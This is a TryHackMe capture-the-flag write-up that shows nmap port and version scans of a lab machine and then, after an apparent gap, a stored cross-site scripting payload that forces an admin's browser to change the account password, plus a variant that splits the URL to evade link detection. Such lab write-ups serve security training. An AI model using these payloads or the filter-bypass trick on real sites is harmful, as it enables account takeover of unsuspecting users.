The following post by anthonyjsaab is licensed under
0 - Introduction
Link to room:
Machine version: whatsyournamev1.87
This writeup walks you through a room on TryHackMe created by , ,
1 - Port Scan
1a - Discovery
โโโ(kaliใฟkali)-[~]
โโ$ sudo nmap -sS -T4 -p- 10.10.58.228
[sudo] password for kali:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-01 08:42 EEST
Nmap scan report for 10.10.58.228
Host is up (0.11s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
8081/tcp open blackice-icecap
Nmap done: 1 IP address (1 host up) scanned in 388.39 seconds
1b - Versioning and OS fingerprinting
โโโ(kaliใฟkali)-[~]
โโ$ sudo nmap -sC -sV -O -p22,80,8081 10.10.58.228
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-01 08:51 EEST
Nmap scan report for 10.10.58.228
Host is up (0.10s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 4f:57:0f:de:f3:a7:d2:11:ef:ba:c7:82:0f:f6:4c:58 (RSA)
| 256 f6:d1:12:7c:86:e0:34:6f:35:f8:d6:f8:3e:ce:fc:97 (ECDSA)
|_ 256 f3:62:02:4b:3a:e4:5f:d8:12:fd:22:db:76:45:56:f0 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
8081/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 3.10 (93%), Adtran 424RG FTTH gateway (92%), Linux 5.4 (92%), Asus RT-N10 router or AXIS 211A Network Camera (Linux 2.6) (91%), Linux 2.6.18 (91%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.26 seconds
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://login.worldwap.thm/change_password.php");
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.send('new_password=hello');
</script>
We will clear the chat and try:
It did not work. If it doesn't work on our own browser, it will not work in the admin's browser. What is the problem? It turns out the payload is being modified before being stored, breaking everything:
We just need to bypass link detection and we are good to go!
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "htt" + "p://login.worldwap.thm/change_password.php");
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.send('new_password=hello');
</script>
We clear the chat and try again:
7 - Getting the flag
We reset the bot to trigger chat browsing. This should have changed the password of the admin's account. We try to login: